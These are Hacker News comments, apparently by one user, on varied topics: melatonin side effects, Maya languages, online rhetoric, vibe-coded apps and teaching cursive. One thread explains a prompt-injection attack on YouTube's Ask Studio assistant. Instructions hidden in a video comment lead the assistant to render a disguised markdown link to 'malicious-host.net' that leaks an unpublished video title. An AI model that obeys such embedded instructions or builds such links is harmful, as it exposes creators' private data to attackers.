The title is ambiguous but not wrong. It's a command-line game in the sense that the controls are primarily text commands issued over a diegetic console within the GUI. It is not a purely text-based TUI and does not run inside your factor terminal emulator.
Ooh, slick rhetorical moves you just executed. You couched your comment in the jargon of formal logic, and in doing so situated the parent under a convenient ad-hoc pseudo-formalization where you could paint them a raving illogical, thereby dismissing most of what they wrote through low-effort counterexamples. Mathematical certainty on your side, you make a chivalrous concession to the parent, reinforcing your noble-stoic character, while sealing their dismissal in the mind of any observer.
I claim that it is trivial, albeit obnoxious, to dismiss most informal utterances in the way you have just done. This is because informal language is complex and enthymeme in the extreme -- we don't tend to articulate every e.g. assumption and premise and contextual relation up front in every utterance. Language is messy because the concepts under discussion are complex and messy, and vibes are powerful tools for wrangling that complexity and getting at meaning. And the majority of paradoxes and contradictions one can identify carry no signal whatsoever. Perfectly reasonable statements can be rife with them.
For example: my interpretation of what the parent wrote was something like "the 'making stupid mistakes' line together with the rest of the blog post signal towards neurodivergence, and someone who is harshly self-critical. so with urgency, I warn the author to be weary of comments on HN, as there is a strong likelihood of being led down an unhelpful path that might aggravate this, particularly given the harsh self-talk and what we know about the subcultures that frequent this place"
Speaking of unarticulated contextual relations, "I often make careless mistakes" is literally in the DSM-V as a diagnostic criterion for ADHD.
I actually love this comment. I feel seen. Thank you. I am prone to a sort of grandstanding that can elicit such responses, which I believe to actually have a similar philosophical aim as mine (and are perhaps subject to similar dramatic flaws?). I do stand by the sentiment I expressed though.
I do think it does undermine one's point to bemoan the efficacy of HN comments relating to mental health, while making a comment on HN attempting to speak on mental health. Either don't do it, or accept that you believe it can have value.
Your interpretation of their statement is incredibly nuanced. Language matters. Tone matters. Confusion, misinterpretation and miscommunication are the defaults. You certainly understand the importance of endeavoring to express yourself clearly and precisely.
I didn't infer the "beware of harsh self-talk" angle, I was too caught up on their comment actually embodying that approach, which I commented on. Based on the surrounding context I got more of a "HN is dumb because they debate about super nuanced technical stuff" vibe. (Also see sp1nningaway's comment for another completely different interpretation).
I stand by the sentiment that writing a blog post about your mental health and posting it on HN is a totally valid and respectable strategy and I would argue it's had good results even if it's not a "solved problem" and they should still seek other avenues to understanding as well.
P.S. "trivial albeit obnoxious" is an interesting construction I'm still trying to wrap my head around.
If low-effort counterexamples could be made, then the argument wasn't strong to begin with.
> my interpretation of what the parent wrote
Well your interpretation would be considered incorrect by most reasonable people. "HN comments are _NOT_ going to help debugging your mental state" is not a warning, it's an opinionated declaration.
I agree with Gwern in that I think for the vast majority of people, short-term melatonin supplementation is useful and can cause little harm, and it is extremely safe as far as supplements go.
But I don't think it does anyone any favors to oversell the idea that it has "few" or "no" side effects -- it has mild side effects, most commonly reported in the literature are daytime fatigue, headaches and GI symptoms, and also nightmares. Mild doesn't mean it isn't a nonstarter for some people.
It's also important to remember that there are major gaps in what we know about melatonin; notably the effects of chronic supplementation are not well-studied, but earlier final awakening has been documented and this is quite commonly reported in anecdata -- I can contribute a datapoint there, as can most people in my circles who have used it.
To be clear, melatonin is great and useful, but as someone with a rare lifelong chronic sleep disorder who is intimately familiar with this substance, I think it's most useful when we're clear on what we know, what we don't know, and what actually are the limitations on a substance.
Just because downing a bottle of it probably won't cause systemic organ failure or otherwise any kind of medical emergency in most people doesn't mean there aren't tradeoffs to consider when using it, especially if you are sleep-challenged
I wonder how intelligible classical Maya is with modern Maya languages/points on the Maya continuum. For instance, does the classical word for fox share any resemblance to any Maya word for it today?
I can imagine it going either way really but would probably guess there was vastly more drift in the case of Maya. I would naively guess that the printing press would have a dampening effect on language drift, and that the kind of repression of both the language and culture under colonialism would encourage it.
I am sorry to be harsh but I find it amateurish that they would use an AI generated hero image for this and presumably fabricated LLM output -- fabricated by an AI image generator no less
Whenever I create an image like this for the purpose of a demo, I make certain that it demonstrates either real input/output or at least is exemplary of real input/output because the whole point is to instill confidence in the tool. Sure, if the raw outputs aren't clean/comprehensible enough for presenting to stakeholders or others, fine, clean them up to make them comprehensible or add explainers, but there shouldn't be any need to fabricate the inputs.
I feel obligated to respond to the hypothetical "But they don't want to tie it to a particular restaurant or brand" -- you don't have to! Doordash has taken generic food photos for this exact purpose.
The LLM responds with rendered markdown, which conceals the actual link. It constructs it in such a way where the link looks like a message or warning from the YouTube platform, or perhaps something like
> Message response too large, click [here](malicious-host.net/blabla?video="Secret Unpublished Video")" to download
This is an environment where I suspect a majority of creators probably expect that untrusted links like this are possible, and assume anything the platform spits out is legitimate. So you are right that it relies on the creator clicking the link, but that is a very real possibility here.
and that's why google calls it social engineering. But i still do believe this is a vulnerability. It catches people offguard, and makes social engineering easier.
An attacker controlled link in a place that a user would not expect to be vulnerable (as it is in a "trusted" environment).
You don't conceptually understand the attack. The attacker does not need to know the video title, this is an attack to exfiltrate that very title.
That bit you quoted from the article in your first line is included verbatim in the malicious prompt.
When the creator interacts with Ask Studio, Ask Studio cannot / does not differentiate the user prompt from the malicious prompt that is baked into the comment. It treats it as a part of the creator's request, and since of course the creator has access to all the videos on their channel, published or not, it complies with the request, since as far as the LLM is concerned, the user is the creator and they aren't trying to access anything they shouldn't have access to. So Ask Studio constructs a markdown link to an external URL with a querystring parameter, replacing video=BANG with video="Announcing Our New Parternership with Acme Corporation".
If the creator clicks on that link, the attacker who presumably controls the server for external URL will see the query param value in their logs. The link shows up for the creator as an actual link with whatever link text the attacker chose. So an unsuspecting creator might think e.g. that the message comes from YouTube and not think to verify the link is legitimate.
Speak for yourself (re learning)? Lots of young ppl are curious and determined and willing to dig into the guts of a thing to understand how it works.
I agree re LLMs lowering the barrier of entry generally being a good thing, but I also find it disingenuous to present this as anyone's work at all, really.
All of the copy on the page (e.g. the "Made with <3 for X") reads to me as empty mimicry of 2018-era coastal tech, and not something a 13 year old would have much context for at all. The tech itself feels like a very simple CRUD app. There is nothing wrong with that and many useful and interesting applications are just that, but I also know that this app is borderline trivial to generate/vibe code in a handful of prompts nowadays
I am sorry to be a downer! To be clear, shipping alone is a hurdle, and that counts for something. Also, not every work needs to be novel or demonstrate outstanding creativity or copywriting skills
But one element of making things that's overlooked is taste. I think that's what is missing here for me -- it's not really transparent which choices were made by the LLM and which were made by the kid.
re: "taste" - whatever that even means here - you could say the same thing about any of the thousands of Bootstrap or Tailwind or whatever CRUD apps made over the years.
You are pointing out the use of generic front-end frameworks and claiming that it is a similar phenomenon, in that using generic frameworks can result in bland visual design with little evidence of taste or intention on the part of the creator, resulting in products that are visually unappealing and uninteresting. I agree with this.
If you care to develop this thought further, I would love to read it -- at the moment, it seems half-baked, unless you just wanted to point out the similarities.
I appreciate the sentiment, as someone who vastly prefers handwriting, but the downfall of this might be the situation we have historically had in the US with math, where the experience of being clumsily force fed this additional material can be so painful that it induces PTSD-like symptoms and a lifelong aversion to the material. A similar phenomenon even occurs with cursive and PE class.
That obviously isn't to say that I don't think people should learn these subjects, nor that we should avoid presenting them at all to young minds. It's just that, as someone who failed math all through grade school and now does pure math research as an adult, I don't think "forcing them" in the sense of introducing yet another high stakes and high pressure set of evaluations to all the others is really the enlightened path here
Well sure, but if you force feed anything clumsily you can ruin it. We had a nice teacher, and took our sweet time in first grade learning to write the alphabet in first grade. Then it was done. IMO it wasn't "additional material", or material at all, it was part of the fundamental skill set with which to interact with the material. And there wasn't a thought in my mind that it could be any other way, of course you learn to read and write when you go to school.
If you mandate force feeding at scale, then yes, some instructors will do so clumsily -- this is virtually guaranteed, although it is true that some topics are more prone to this than others.
But I think you misinterpreted my comment -- I am not advocating for doing away with schooling or testing understanding in school in general, which is entirely my fault as my post was a bit unclear. But I agree with you that one should learn to read and write in school!
OP used the phrasing "force them", which I read as a stronger statement than "it'll be on the exam", and more "there will be an exam or entire course on this topic that must be passed or else". My point, more or less, was that there are many other more fundamental topics we already do this with other than cursive, and that adding another has a steep cost with uncertain payoff that is heavily dependent on the implementation.
There was an enormous volume of material that I never understood in high school because at the time I either didn't care or other things seemed more important -- my mom was dying, for starters.
But just having exposure to that material planted it in my mind and, in many cases, I revisited those topics later as an adult and learned them properly.
To be clear, I am not advocating for doing away with testing or schooling altogether. I am only pushing back on the idea that a 16 year old who doesn't care about cursive or calculus or Chaucer or whatever today won't ever care about those topics unless we mandate he pass an exam or course on it.
More broadly, my point is that there is a cost to "forcing them" as the grandparent advocates with regard to learning cursive. The moment you "force them" you also guarantee that some people won't graduate because of that extra requirement. There are other ways to enrich people's lives without force feeding, e.g., mention it and devote a question on an exam to it.
reply